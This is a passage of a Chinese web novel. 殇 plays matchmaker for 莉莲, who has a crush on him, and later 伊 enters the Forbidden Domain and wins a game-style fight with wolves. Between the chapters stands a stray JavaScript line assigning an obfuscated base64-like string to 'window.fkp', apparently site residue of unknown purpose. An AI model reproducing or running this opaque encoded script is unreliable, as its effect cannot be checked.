殇埋下头去吃面。吃面的时候,殇一边回想电视上的画面,一边思考接下来处理委托的事宜。殇之所以来到这家面馆吃饭,正是因为赚钱的委托。殇对面坐着的莉莲,正是协助他找到委托的中介。不过,从饭局开始的那一刻开始,殇就意识到莉莲的心思里不只有中介。 吃饭时没趣,莉莲借机打听起殇的信息。莉莲故作无事地夹起一小块咸菜,漫不经心地吃进嘴里,举止中颇有些优雅。吃过这口咸菜,莉莲问: “话说,你有亲属在身旁吗?” 殇从容地回答: “没有。稍微亲近点的倒有一个。我自己在路上认了个干女儿。” “你是指伊吗?” “没错。现在人正在旅行,和一个千岁老人一起。说是去取一把好剑。” 殇敏锐的目光注意到莉莲的指甲上涂了近肤色的指甲油。殇觉得蹊跷,刻意观察了一下她的眼部,突然发现她化了很重的妆。对比上一次见到莉莲时的样子,化妆程度明显更深了几分,这是反常态的。经验丰富的殇瞬间推理出了她的心思。殇偷偷笑了笑,装出无知的样子。 这时,莉莲发问了。 “你有什么喜好吗?” “没啥喜好。” “擅长的呢?” “每样我都会一点点。” “最擅长的呢?” “干架。” 莉莲的脸上挂起一抹灿烂的笑容。 “嗯......你的实力我曾见识过。说真的,挺不错的。” 老练的殇一脸轻松地看着情窦初开的莉莲,仿佛是在看一个懵懂的孩子。即便是在明白对方心思的情况下,殇还是决定挑逗对方几下,加以验证。殇抓住莉莲脸上泛起的红润与笑容的不自然,借此对莉莲发问道: “你说就说,紧张什么呀?” 莉莲的反应很不自然,显然这句话说到了她的心里。 “嗯?啊......我没紧张。你看错了。” 莉莲不自然地辩解道。殇见此,验证成功无需深入,殇决定给她个台阶下。殇故作尴尬,骗过了莉莲。 “也许是我的眼术还欠些火候吧。” 殇拿起筷子,吃了口面。一旁的莉莲有些尴尬地说: “嗯......” 突然,她灵光一闪,找到了崭新的话题。莉莲问: “哦,对了。殇,你有多少朋友在身旁?” “不几个。大部分都身在他乡忙着各自的事。” “我看你身旁常跟着个黑发妹子,你跟她关系好吗?” 殇瞥了她一眼,她的眼神害怕地逃避了一下。殇从容地解释: “一般。小铁是别人安排给我的帮手,我借用她和她的姐妹来查查案,顺便赚点钱维持生计。” “哦......” 殇笑了笑,问她: “怎么?你想来应聘我的移动事务所吗?” 莉莲脸上挂着笑容,双手却在急躁地互摸。 “可以考虑考虑。” 莉莲的小动作都逃不过殇的眼睛。为了缓解有些紧张的气氛,殇说了个无关的话题。 “今天这菜忘放盐了嘿!吃着怎么有点淡呢。” 莉莲直勾勾地盯着殇的脸,心里偷偷盘算着事情。片刻的思考过后,莉莲有些害羞地问: “殇,那个......你有......” 殇嗖的一下掏出银行卡,啪的一下放在桌面上。殇拍拍胸脯,自信地说: “我有钱。放心,这一餐不差你的。” 莉莲听后有些发懵,但还是做出了回应。 “哦。那我就——放心了。” 见莉莲的紧张有些缓解了,殇又找了个话题。 “莉莲啊。” “嗯?怎么了?有事吗?” “凯莉那小丫头最近过得咋样?” “挺好的。依靠她绝无仅有的枪法,她现在已经步入介入者的高手行列了。过个几年就能平步青云。成为星级调解人,过上幸福生活了。” “这挺不错的。害......真是羡慕她的枪法。准星之外皆是目标,瞄不到的都是枪下亡魂。某种意义上来说,这也算是神枪手。” “身为她的师傅,我对此甚是骄傲。” 殇听她这么说,忍不住发笑。殇调侃莉莲: “不是你当初背地里吐槽她的时候了?” “额......过去我的确那么想,但现在毕竟不一样了吗。” 殇拿起装着啤酒的酒杯,向莉莲发送碰杯邀请。 “来,庆祝下凯莉的成长。” 莉莲笑面接受邀请。 “嗯。” 两人碰杯而饮。饮酒之后,莉莲的胆子大了一些。借着酒劲,莉莲问出了心中最想问的问题。 “殇,那个......你还是单身吗?” “是啊,怎么了?” 莉莲摆出一副很好奇的姿势,她的眼中满是求知欲。 “你......喜欢什么类型的女生?” 为了回应她这份渴望,殇做出特色回答。 “会喘气的,最好是能动的,要是妈妈生的就再好不过了。” 莉莲尴尬住了。 “额......你的胃口挺独特啊。哦!我的意思是指......现在主流上的那些女生类型,你喜欢哪种类型的?” 殇风轻云淡地说: “我随意。只要不是人妖、毒妇、病娇、非法类女性这四类女生,其余我觉得都还行。” 莉莲赶忙赞同。 “不错,听着很不错。” 这时,殇发问了。 “等下,你问这些干什么?” 明知故问的殇期待看到莉莲的表现。莉莲想了想,有些心虚的解释: “我......对这方面有些好奇。你不要多想,就是单纯好奇而已。” 殇借机发问。 “哦。话说你多大?” 莉莲脸一红,想到了题外的东西。 “我呀,应该有b吧。” 殇愣了一下,他不明白这个回答。 “我问你岁数多大。你给我说了个什么东西?” 莉莲脸更红了,她因她错误的想法而蒙羞。 “唔......没事。我今年......正好三十岁了。” “事业如何呀?” “还行。手底下有家武器工坊,一年下来大约能赚个。” “在城市里买房子了吗?” “在老家东玲国有一栋170平的顶级公寓。” “结婚了没呀?” “没呢,这几年一直单身。” “找到心仪的对象了吗?” “还在努力......” “工作压力大不大啊?有没有好好吃饭啊?住的环境好不好啊......” 殇的这一系列问题问得莉莲头疼。莉莲在殇的身上看到了自己老爸老妈的身影。有一刹那,莉莲觉得自己是在和父母对话。莉莲急忙叫停了殇。 “停!” 莉莲炸毛了,她的情感壁垒破碎了。 “别说了,你越说越像我爸。太难受了!” 殇调侃道: “看来,作为子女你没少遭受这样的‘磨难’啊。” 莉莲一脸难堪。 “哎呀!别提了......我都快崩溃了。” 殇拿起酒杯,再次向莉莲发送碰杯邀请。 “来,把忧愁都以啤酒喝下肚吧。” 莉莲难堪地接受。 “好......” 两人碰杯而饮。饮酒之后,殇毫无反应,而莉莲有些微醺的醉意。殇的肉体异于常人,消灭酒精的速度是正常人的十六倍,所以殇可以做到百杯不醉。趁莉莲有些醉,殇结束他的试探,直接挑明真相。 殇盯着莉莲的双眼,很严肃地说: “莉莲啊,你看着我的眼。” 莉莲照做了,并问: “嗯?怎么了?” “你喜欢我,对吗?” 莉莲听后大惊失色,急忙否定。 “没有!你在说什么呀?!” 殇皱了皱眉,莉莲顿时有些慌张。 “你撒谎了。” “嗯?!” 殇一脸严肃,莉莲仿佛明白了什么。 “不要骗一个懂心术的男人。你再怎么修缮你的谎言,最终也只会在薄弱处被我破解。我懂的事远比你想象的要多,孩子。” 听到殇这样说,莉莲也只好承认。 “唔......好吧。我承认,我确实有那个想法。” 殇冷冷地告诉她: “先声明一点,我不处对象。” 听到这个结果,莉莲非常失落。 “那看来我是没机会了......” “不过我可以帮你一把。” “诶?” “我可以帮你找到你的梦中情人,也许还能笃定你一生的幸福。” 殇的话给予莉莲另一种希望,莉莲高兴地笑了起来。 “真的?!太好了。” 激动的莉莲一把抱住了殇,亲密的脸贴脸。即便经验丰富,但面对这个情况殇还是一愣一愣的。 “别这么激动......” 莉莲急忙松开了殇。 “抱歉......有些兴奋过头了呢。” “你先说下你的梦中情人的样子,再说下性格与特点,我大概率能给你找来本人。保准让你满意。” “行。那我得先答应好替我保密!” 殇点了点头。 “行。” “那我说了......” 殇拿出随身笔记,开始记录。 “银白毛、白净、蓝眼仁,既有帅气的风范,又有绅士的风韵,还得是个高个子男生。岁数要比自己大八岁以内,小两岁以内。好家伙,你也好这口?” “喜欢白毛长腿的帅哥有什么问题吗?” “没问题,没问题。喜好吗,只要不变态就行。” “现在你可以开始找了吗?” “等下。看这外表......我知道该找谁了!” 殇走出饭馆,拨通了通讯录中的神秘电话。好奇的莉莲探头看向饭馆外的殇,见到殇在打电话,立马将目光聚焦在面前的餐桌。她高兴地搓了搓手,满脑子都是美好的幻想。 电话接通后,电话那头问: “喂?您哪位?” “我是殇。” “殇?哦!那位大师。荣幸荣幸!哦,对了。您怎么给我打电话了呢?” “我这儿有个漂亮妹子,你要不?要的话我给你介绍介绍。” 电话那头疑惑了,还有些惊喜。 “诶呀呀!大师,您犯糊涂了吗?到手的鸭子,怎么能让给我呢?” “你是单身吗?” “是。” “今年多大?” “在下今年三十三岁。” “跟那妹子挺搭的。” 电话那头似乎有些动心了。 “那个妹子......长得好看吗?” “甭管好不好看,你要不要吧?” 电话那头有些急了。 “诶!话不能这么唆(说)欸,这可关系到终生的幸福呀。” 听对方这样说,殇决定来一手欲擒故纵。 “你不要的话就算了吧。” “......” “唉......真是可惜呀。给你机会不中用啊!没啥事我先挂了啊,你后面还有三十多个男的等着呢。” 对方一听,赶忙叫住了殇。 “诶!大哥。别挂着,容我再了解了解。” 殇的态度强硬了起来,以施压的方式加固对方的决心。 “就一句话,你要不要吧?” “漂亮的话......考虑考虑。” 殇将手机里唯一一张莉莲的图片发给了对方。那张照片是莉莲执行委托前她那时的合作伙伴偷偷拍下的,拍摄时刻意没有开启美颜,没人知道殇是怎么弄来这张照片的。 “我把图片发给你了,看看中不中意。” “我的天啊!她好美呀!哦......我要沉沦了。” “怎么样?就问行不行!” “行!太行了!” 见对方对莉莲感兴趣,殇顺水推舟,让对方亲自来见莉莲。 “我给你发个坐标,坐飞机或者传送塔过来吧。我给三小时时间。” “行!万分感谢,大师。你解决了我们家的燃眉之急啊!诶呀,太激动了。等着我,漂亮的姑娘,我马上来!” 对方挂断了电话,马上飞奔向他家车库,随后踏上相亲之旅。 做完这些,殇笑着回到餐馆。见到殇回来,莉莲赶忙询问殇道: “搞定了吗?” 殇缓步走向他们吃饭的餐桌,边走边说: “搞定了。” 殇走到自己的位子旁坐下。莉莲探过头来询问道: “能给我透露对方是什么样的人吗?” “不能。” “为什么?” “要保留约会的神秘感。” 听到殇这么说,莉莲被吓到了。 “约会?!” 殇一脸淡定。 “对呀,对方开门见山地说了,约会!” 莉莲既激动又紧张,还有点害羞而生的恐惧。 “哦!我滴个老天爷呀!直球不带这么打的呀。你别骗我,殇。” “放心,我绝不会骗你的。” “诶呀!真不知道该怎么感谢你才好了。” 殇笑了笑,淡定地吃了口面。吃碗面,殇淡然地说: “没关系。这顿饭你请,就当是报答我的恩情了。” “嗯。好!这顿我请了。” 一段时间后...... 殇和莉莲来到了一处僻静又幽美的公园中。莉莲坐在一处长椅上羞涩地张望四周,殇则站在长椅旁看着最近的报纸。正当殇阅览那些明星的鸡毛蒜皮之事时,一阵急促的脚步声从殇的侧边传来。殇放下报纸,明白人已经到了。 银幻之梦快步跑了过来,紧跟着他浑身漆黑的妹妹也赶了过来。跑过来的第一件事,银幻之梦先向殇打了个招呼。 “我来了,殇。” 殇放下报纸,笑着迎接银幻之梦。 “你小子可算来了。我们等得花都谢了。” 这时,银幻之梦看向一旁长椅上的莉莲。一看到莉莲,银幻之梦顿时就眉飞色舞了起来。 “这位就是......哇哦!beautiful(好看)!” 莉莲并未回应银幻之梦的话。殇见了,疑惑地说: “诶!咋地了?莉莲。” 殇发现莉莲发呆了,于是急忙叫了她一声。 “喂!” 莉莲回过神来,有些木讷地说: “嗯?怎么了?” 殇解释道: “人家来了,你怎么还发呆了呢?” 莉莲有些羞涩地说: “哦。抱歉,想事想走神了。” 这时,莉莲的目光移到了银幻之梦身上。看清楚银幻之梦长相的那一刻,惊喜冲昏了莉莲的头。银幻之梦与她幻想的白马王子基本上一样,联想到银幻之梦的地位与背景,这正是她想去追求的男人。她惊呼道: “哦......哦!我!滴!个!老!天!爷!这不是银幻之梦吗?你咋把他请来了?嗷呜......干嘛把这么帅的人请过来,人家都不好意思了呢。” 莉莲用手挡住自己的双眼,害羞得不行。她表现得过于害羞,一旁的银幻之梦见了都觉得她的行为有些反常。银幻之梦有些疑惑地问殇: “大师啊,是她吗?” 殇点头道: “对呀。这位莉莲妹子你觉得如何?” 银幻之梦激动地说: “你确定要把她介绍给我吗?我感觉我把持不住呀。” 这时,他身旁的妹妹前来“补刀”。 “哥哥,你怎么临阵怯懦了呢?来的时候你激动到快要猝死的样子我可清楚地记得呢。那种神情,就好像要得到什么绝世珍宝一般......” 殇也劝他: “别在乎那些有的没的。喜欢就去追呗,怕什么?等机会被别人抢到手,你到时候连后悔二字都写不全!” 见妹妹与殇都看好自己,银幻之梦也跨过了心中的那道坎,决定主动一些。银幻之梦点头道: “我明白了,大师。” 银幻之梦伸手示意。 “能麻烦给我让个位置吗?” 莉莲挪了挪身子,给他让出了一个位置。殇见此,夸赞他: “真上道啊!” 银幻之梦怀着激动的心坐在莉莲身旁,一脸蔼然地介绍起了自己。 “你好......初次见面,我叫玻瑟莱恩。请问这位漂亮的小姐,你叫什么名字呢?” 莉莲扭过头来,放下羞涩的双手,她终于选择面对她逃避的事物。 “你好......玻瑟莱恩先生,我叫莉莲......我也很高兴认识你。” 银幻之梦想找一个话题与莉莲聊天。他开动大脑,经过短暂且严密的思考,他得出了一个尴尬的结论:他不会处理这种事。无知并不意味着怯懦,他凭借惯性思维,说出一句夸赞的话。 “额......你真漂亮,莉莲。” 一听银幻之梦这么说,莉莲更害羞了。莉莲满面红光,用手怼了他胸口一下,一脸娇羞地说: “嗯~~~讨厌啦。哪有见面就夸对方漂亮的。” 银幻之梦一时陷入尴尬。 “唔......这......” 在一旁看热闹的殇见此情形,不由得会心一笑。殇摇了摇头,对一旁同样看热闹的银幻之梦的妹妹说: “看来,你哥是第一次以那样的心态向女生搭话。” 银幻之梦的妹妹调侃道: “可不是吗?我哥这些年在情场上都是一路尬过来的。” 殇长舒了一口气,语重心长地说: “嗯......经历了那些,再回头看你们这些小年轻之间的姻缘,突然觉得有种莫名的好玩。不,应该说快乐。就好像找到了什么乐子一样。” 银幻之梦的妹妹好奇地问: “听你的描述,你已经是已婚男子了?” 殇思考了一下,回答: “是,但不完全是。” 银幻之梦的妹妹追问: “这话什么意思?” 殇给出了一个独特的回答: “总之,我懂的比你们这些小年轻要多不少。” 银幻之梦的妹妹吐槽道: “神秘的家伙。” 就这样,银幻之梦与莉莲的缘分就在殇巧手搭线之下开始了。四星三阶调解人与三星都市之光的组合,评价起来总有种说不出的奇特。 对于将喜欢自己的迷妹转手让人这件事,殇表现得非常淡然。对于殇来说,他早就过了那个善于交际的年纪。身体上的年轻并不意味着他意识上的年轻,他早已不是当初莽撞的武痴,成长的印记是灵魂上不变的痕迹。现在的他,经历过人间百态,对于爱情的渴望早已经没当年那般强烈。现在的他只想照顾好身边的伙伴,以及完成他甘愿付出生命的理想。他曾承诺东方子薇就是他爱情的全部。直到现在,这份承诺他依然不折不挠地履行着。 就在殇看乐子的时候,殇的手机响了。殇拿起手机打开一看,发现是伊给他发了张在船上与溟迷灯塔的合照,底下还标注:“我们到达禁域了”。殇看完之后笑了笑,随后意味深长地说了一句: “看样子,你要迎来蜕变了,伊。” window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 联盟国—第十三话:禁域(上) 通历43年9月4日清晨,陌他们所搭乘的船只抵达禁域临海。 海面上厚重的迷雾遮蔽大多数光明,令这片海域拥有一种深不可测的神秘感。唯独溟迷灯塔投来的光能刺穿迷雾,如剪刀一样裁剪这块迷雾构成的丝绸。待溟迷灯塔的光照在船上时,海上飘起的迷雾突然全数消失。这时候,在航船上,伊站在甲板上与同伴铃兰花一起目睹了禁域奇妙的风景。 溟迷灯塔伫立着的彼岸上雾霭四起,惨白色的曙光穿越雾霭迎面撞向平静的大海。海动了,海面上泛起的涟漪唤醒海下沉眠的精灵。精灵苏醒后慷慨地为世界高歌一曲,这首曲子歌颂生命的旋律。海鸣了,阵阵海风吹过彼岸的沙滩,掀开迷雾遮羞布,雾霭后隐藏的绿茵显露出它含羞的一面。生机盎然的原始森林中传来猿猴的鸣叫,那声声呼喊换来了海鸥集群飞舞过海洋的震撼。海喜了,涟漪汇聚成海浪奔向航船,海浪推动航船加速向码头赶去。路过的海风也贡献了一份力量,海底下的精灵也同海风一样。大海的力量让航船达到了前所未有的速度,一船人就这样载船抵达了港口。 这时,陌提着三叉戟与银骨剑圣和不死耶稣两骨走了过来。陌神色严峻地拍了拍伊的肩膀,并告诉伊: “这里就是禁域了。孩子,做好准备了吗?” 伊点了点头,说: “我准备好了!” 陌拿出随身携带的古卷,然后拿给伊看。伊接过古卷一看,发现其上写着一行行金笔写下的古代文字,而且古卷中心画有一张禁域的地图。在伊细细观摩古卷的时候,陌向伊说起了有关禁域的情报。 “禁域乃天地成立之初就形成的蕴灵圣地,其危险程度极高,有关它的介绍少之又少。《希德薇拉创世真经》中将它与黑森林、神华地比喻为‘世界三大圣地’。关于这三处圣地的记载唯独禁域最少。并非是禁域作为圣地它不重要,而是它的重要性使它不能广为人知。” “传闻,过去有一位名叫派·奥利弗的冒险者曾进入过此地,他在此处留下了自己的传奇。他进入到神秘的圣殿之后,通过凡人难以通过的考验取走了世界最强神器文明方舟·黎明。派是为数不多能活着离开禁域的人,他的神话自然被千秋万代传颂。只是可惜,历史的洪流消磨掉英雄身上的光辉。最终,只有几乎无人关心的古代文献中才有记载他的消息。” “每当有人读懂了古卷、古典上的讯息,就会有一批又一批的冒险者顶着风险来神秘之海寻找禁域的入口。对于那些读懂了古卷、古典的人来说,他们要么成为寻找禁域的冒险者,要么成为与世无争的古代文学学者。只是无论选择什么,禁域对他们来说都极具吸引力。早在八千多年前,就有殖民者来到此处寻宝。只可惜禁域恶劣的天气很快将他们驱逐出去,他们仅仅得到了禁域的木头!伟大的前辈们日思夜想的禁域,现在就在我们眼前。” “看啊!伊。这是我们祖祖辈辈都渴望来到的地方。我们体内的冒险基因都还蠢蠢欲动着呢!作为天性的好奇心驱使我们探索,我想此处应该是探索的极致巅峰。经文中记载扭转世界命运的节点,就埋藏在这片土地下!当我们循着前人的足迹找到那座圣殿,我们世界的命运将会迎来转变。伊,命运告诉我你便是下一位圣君仁华!命运也很公平的让我们齐聚在此,一同见证这圣地的风光。” 一旁的伊听得有些云里雾里的,不过她还是认可了陌的话。尽管听不太懂,但伊还是觉得陌说得对。 “虽然听不太懂,但我觉得你说的很对。” 下船前,陌临时开了个小会,组织了一下探索队伍。两人两骨头一幽灵的队员配置,陌担任队伍中的引路向导,伊为保护目标,不死耶稣和银骨剑圣为伊的左右护法,铃兰花作为伊的贴身护卫,而呼呼大睡的小咒刀则担任2号贴身护卫。规划好队伍后,陌将一条工具腰带交给了伊,并叮嘱道: “工具腰带里有各式各样的魔力指环,请根据指环上的宝石模样来判断指环功能。遇到危险或困难时,你可以使用魔力指环来解决问题。千万不要遇事用蛮力,多动动智慧!” 伊戴上工具腰带,并从工具腰带里拿出挖掘指环试了试,结果并没有什么反应。伊疑惑道: “诶?是我的使用方式有问题吗?” 陌见此摇了摇头,然后陌拿出随身携带的指南针指环,接着给伊上了一堂使用指环的课。 陌戴上指南针指环,然后汇聚法力,紧接着说了句:“魔力凝聚!指南针,塑成!”。刷的一下,金色魔法汇聚成的指南针出现在了陌的手中。见到如此神奇的景象,伊无比震惊。陌和身旁的两位老骨头倒是一脸平静,因为他们早就看惯了这种事情发生。 陌做完演示后,伊也试了试。 “魔力汇聚!钻石镐,生成!” 伊的手中出现了蓝色魔法汇聚成的鹤嘴镐。见到施法成功,伊非常开心。陌见后笑着点了点头,随后又指导伊几句,告诉伊更多关于指环的信息。了解完信息之后,伊顿时领悟了初级魔法的奥义。此时,伊已然成为了一位会魔法的凡人。 之后,不死耶稣又教了伊一个新的祷告,名为:治愈之声,是牧师系恢复类祷告。伊天资聪慧,新祷告一学就会,这震撼到了不死耶稣这位老祷告师。不死耶稣夸赞了伊几句,伊被夸的脸有些红,嘴里连连说道:“过奖了,过奖了......” 这时,伊想起了小咒刀来。伊用温柔的办法唤醒了小咒刀。小咒刀一苏醒就像个顽皮的孩子一样乱飞,飞了一会自动回到了伊身边。 小咒刀很开心地说: “早上好呀,主人。” 众人都沉默了,小咒刀茫然地看着众人。这时,伊发话了。 “你一觉睡了三天!我不叫醒你的话,你是不是就要睡到我们回去?” 小咒刀听伊这么说,赶忙安抚伊: “没有没有,主人。哦!万分感谢主人及时叫醒我,这才没酿成大祸。” 伊有些无奈地摇了摇头,然后一伸手把小咒刀唤到背上背着。伊吐槽道: “你呀,真不让人省心啊。” 小咒刀露出沮丧的眼神,说: “委屈屈~~~” 唤醒过小咒刀后,众人在陌的带领下下了船。 伊一行人刚下船,一声清脆的钟声就抢先迎接了她们。随着钟声而来的,还有退散的迷雾和漫山遍野的绿茵。迷雾彻底散去后,禁域内的奇特自然景象才真正展现在众人眼前。 北方巍峨的高山白雪皑皑,朵朵清秀的梅花点缀在在雪的天堂,冰以柱的形式向世人诉说自然的奇迹,水以它的湍急奏响寂静雪原中不可多得的寒色乐曲。东方高耸的火山喷吐薄烟,好似一座巨大的烟囱,山下是纵横交错的黑曜石林,他们是一头猛兽的喜怒哀乐,更是承载历史的碑文。南方是气候湿润的绿色世界,溪流穿过密集的森林汇入海洋,风穿过漫山遍野的花草树木送来轻柔的抚慰,生命的气息弥漫在每处绿茵的附近,这里的每一寸土地都是生命的乐园。毫无疑问,它是大自然美的体现。西方是灿烂的金沙铺成的辽阔大漠,风蚀柱呈现千奇百态伫立其中,绿洲的清冽之泉是金沙漩涡的中心。 众人望着眼前的景象,无不感叹它的美妙。这便是禁域,一片沉睡了整整十万年的土地。埋藏在这片土地之下的,是神秘的圣殿,还有人们对未知的探索与恐惧。奇美的自然风光,是它神秘外表前的伪装。它真正的样子,正等待人们的探索。 “我滴亲娘诶!这......这太美了吧。” 伊感叹道。一旁的两位老骨头和小咒刀也跟着感叹,唯独陌是最镇定的。陌抬手一挥,唤出古卷进行对照。看过古卷上的描述,陌确信眼前的小岛就是禁域。对照过后,陌安抚其他人的情绪,随即带领众人踏上寻找圣殿的旅途。 见识过禁域的绝美风光后,众人自然对这趟旅途充满了信心。只是步伐刚迈出去一步,众人就遇到了麻烦。突然,港口外的森林传来几声野兽的咆哮。眨眼功夫,三只黑狼从森林中蹿了出来。三只黑狼横在路中央,拦住众人的去路。 伊: “唔啊!怎么办?这几只狗子看起来不太友善。” 小咒刀主动挡在伊的身前。 小咒刀: “主人,放心就好,我来处理。” 这时,陌出手拦住了蠢蠢欲动的小咒刀。就当小咒刀疑惑之时,陌的说辞消去了它的疑惑。 陌: “巧了。伊,你会战斗吗?” 伊: “会一点......” 陌: “作为人类的圣君仁华,你的实力一定要过关,否则很难通过考验。” 说完,陌、不死耶稣和银骨剑圣后撤了几步,给伊留足了战斗空间。小咒刀见此情形,陷入纠结的矛盾当中。 小咒刀心里: “怎么办?是冲到主人手里当武器呢,还是在一旁袖手旁观呢?好难做出决定啊,好像那个选项都不对诶!要不......我也爽快一把吧!对,爽快一把,为了主人着想!决定好了,我要......” 短暂的思考过后,它做出了决定。它摆出杀气十足的阵仗,随后义不容辞地加入到观战队伍当中。小咒刀还不忘补充道: “主人,加油哦。不是我不帮你,而是你用我会获得诅咒,我怕你用多了之后崴脚崴死!加油主人,加油——” 伊见只剩自己一人不禁有些慌张,陌急忙安抚她: “别太紧张,伊。就当这是一次考验,正常发挥就好。要是情况不对,我们能立即出手救你。” 伊虽然有些害怕,但还是选择接受。伊点点头,然后鼓起勇气,准备应敌。伊学着殇的模样摆出战斗架势,可身为女子的她并未有太多压迫感,相反这么一弄倒显得她有些可爱。她模仿不来殇那股令人战栗的威风。伊心里很紧张,这是她第一次正式战斗。 伊心里: “好紧张哦!这是殇不在的第一场战役呢。挨打是很疼的,我得小心对方。只不过......一说要打架,还有点小激动呢。这下终于有机会了,殇教我的招数终于能派上用场了。对方看起来凶巴巴的,不好惹呀。” 伊有些犹豫,但很快就振作过来。伊给自己加油打气,效果显着。 “加油吧,伊。相信自己,我一定可以的。我要向大家证明,我不是团队里的团宠,我是个有担当的女战士!就像薇莉莉一样,浑身充满不好惹的气息呢。” 鼓励完自己,伊勇气倍增。这时候,伊想到了一个问题。 “等下......都说每个人都有每个人的战斗风格,可我的战斗风格是什么呢?武侠?流转?还是......我知道了!” 伊的大脑飞速运转,蕴藏在她头脑中的想象力喷涌了出来,她眼中的世界瞬间变得奇幻起来。条条框框的规则、颜色丰富的血条、可做的事情都显示在眼前、状态栏清晰可见再加上想象力的渲染,伊的战斗风格便形成了。头脑载入状态,伊顿时化身屠龙勇士,而眼前的三只黑狼顿时化身魔王的宠物。 “小时候我在电脑上玩过一款卡牌RpG游戏,那款游戏我可是三周目大佬。丰富的回合制战斗、再加上精密计算的牌组机制、画风风格古怪的角色......嘿嘿,姐的青春回来了!” 伊攥紧拳头,她此刻充满了决心。 “区区杂兵,就让天下第一美少女战士来好好教训教训你!” 伊的中二之魂爆发了,战斗一下子变得有趣起来。伊自行脑补了战斗音乐,又开动脑筋让本就中二的战斗变得更加玄幻。 战斗准备中...... 伊,等级1,血量100,战斗力13,速度等级I,单回合单行动,介绍:一位富有想象力的中二少女。 黑狗Abc,等级12,血量98,战斗力25,速度等级II,单回合单行动,介绍:禁域的守护者,传说中吃人的恶狼。 战斗准备完毕...... 第一回合,黑狗A先手攻击。 黑狗A使用撕咬,被伊躲开了。 黑狗b使用撕咬,对伊造成26点伤害,伊被施加了流血状态。 伊使用流转连打,对黑狗A造成67点伤害,黑狗A昏厥了。 黑狗c使用战吼,下回合伤害小幅度增加。 第二回合,伊受到6点流血伤害。黑狗b先手攻击。 黑狗b使用扑咬,伊使用反击技奔掌底直接破解,黑狗b受到85点伤害,黑狗b被施加恐惧状态。 伊使用冲流拳,对黑狗c造成96点伤害,黑狗c晕厥了。 黑狗A放弃行动,下回合苏醒。 第三回合,伊的意志等级提升,单回合双行动。伊受到4点流血伤害。黑狗A先手攻击。 黑狗A使用野蛮撕咬,对伊造成20点伤害,中途被伊用膝盖顶击打断。 伊使用踹,对黑狗b造成13点伤害,黑狗b逃跑了。 伊使用恐吓,对黑狗c造成精神伤害,黑狗c被吓跑了。 第四回合,黑狗A见势不妙,逃跑了。 伊取得了胜利,获得2100点Exp(经验值),等级从1级升至3级,可喜可贺。 战斗结束...... 赶跑了三只黑狼后,伊有些疲倦。伊捂着小臂上的伤口,表情有些许痛苦。她忍着心中的悲伤,并未表露出太多软弱。她进步了,她变得比以前更坚强了。这时陌他们走了过来。陌向伊递来一块巧克力棒,伊看了看,随后接了过去。 陌: “饿货,来跟亿达脆吧!” 伊: “谢谢。” 伊吃下这根巧克力棒。突然,神奇的一幕发生了。伊吃完巧克力棒后,流血的伤口竟奇迹般地愈合了。陌他们见了都震惊不已。陌虔诚地托起伊的手,仔细看了看伊刚刚愈合的伤口。陌难掩心中的激动,惊呼道: “没错,就是这样!就是这样!!!命定之人,光之圣女,食物可自愈,其力断木石,神性伴其身,人性伴其心。我更加确信,您就是那位圣君仁华。” 伊十分惊讶地说: “天呐!我才发现我有这样的能力。” 陌放下伊的手,并默默看向远方。陌兴致勃勃地打量起禁域的景色,他对接下来的旅程抱有十足的期待。 接下来,众人来到森林之中,按照古卷的提示,一步一步寻找圣殿大门的踪迹。各种奇珍异兽出没在森林之中,众人不时就会碰见。每当这种时候,陌、银骨剑圣和不死耶稣一人二骨就会担负起保护伊的责任。但如果对方太过弱小,是伊能单独处理得了的,那陌就会交给伊来处理。这样做一是为了锻炼伊,二是合理分配队内资源以提高队伍的续航时间。 经过一天的搜寻,陌他们并没有找到圣殿大门的踪迹。时间慢慢来到晚上,陌他们在林中建起一座营地,他们在营地中整顿休息。走了一天的路,伊已经累得全身发软了,而队内其他成员都还精力充沛。伊见他们那么精神,忍不住问道: “你们为何如此精神?” 银骨剑圣解释道: “我们都是骷髅,骷髅没有肌肉,哪来累一说。” 陌补充道: “别看我是人的模样,我的本质可还是死灵哦。” 不死耶稣这时拿来一碗汤。不死耶稣将汤递到伊的手中,还给她拿了个木头勺子。伊见状,赶忙感谢了不死耶稣一番,然后便拿起勺子喝汤。 不死耶稣: “慢点喝,烫嘴,孩子。” 不死耶稣在一旁看着伊慢慢把汤喝下去,心里有种莫名的开心。这时银骨剑圣又拿来水果,这给伊弄得有些不好意思了。银骨剑圣施展他作为老江湖的热情,很快就让伊安心收下了水果。 银骨剑圣: “吃吧,补补营养。我们这些老骷髅,吃了也跟没吃似的。你就好好吃饭,每天开开心心的,当个快乐的小神仙。” 面对这两位老骨头的热情,伊心怀感激地接受了。也许这就是人性美好的一面吧,善良总是那么容易让人动情。伊决定日后要给这两位老骨头一个礼物,以答谢他们对自己的善意。 到了该睡觉的时候,银骨剑圣、不死耶稣和小咒刀都躺平休眠了,唯独伊和陌还醒着。伊躺在席铺上和铃兰花看着星星,陌则是熬夜钻研古卷。看着今夜的夜空稀稀散散的星星,她不禁想起了自己牵挂的人。 “不知道殇现在怎么样了......” 伊有些想念地说。铃兰花听到了伊的说话声,她好奇地询问道: “你也想到家人了吗?” “嗯?咱们一样。” “我想我老公了。他现在不知道过得好不好呀,我有一段时间没回去看他了。希望他有在好好吃饭,好好生活,没有灰心丧气的度过每一天。” “你真是个好妻子。即便变成一缕灵魂,也要时刻牵挂着他。” “谁叫他是我老公呢。” “真羡慕你们的夫妻感情。要是我也能遇到那样好的人就好了。” “诶?你身边不有一个吗?” “你是指殇吗?” “我看他挺关心你的,时不时就问候你几句。” “你可别想多喽。殇啊,对我来说是至亲一样的存在呢。准确来说,我算是他不过门的义女。” “啊?原来他是你义父吗?” “目前不是,我还没亲口承认呢。” “哦。有个关心自己的义父,也挺不错的。” “殇待我如子女,对我很好。虽然我不太愿意承认这一点,但我心里还是接受了这个事实。毕竟想认一个义父,哪有那么容易?” “如果你真这么想的话,你最好早点说出口。要是沉淀久了,也许就没机会了呢。” “这很难为情的。更何况对方还是个心老人不老的小伙。” “嗯?” “这个说来话长......” 伊向铃兰花简单介绍了殇的特性。铃兰花听后恍然大悟。 “事情就是这样的,卡娜铃兰。” “原来如此。那不正好吗?” “诶?” 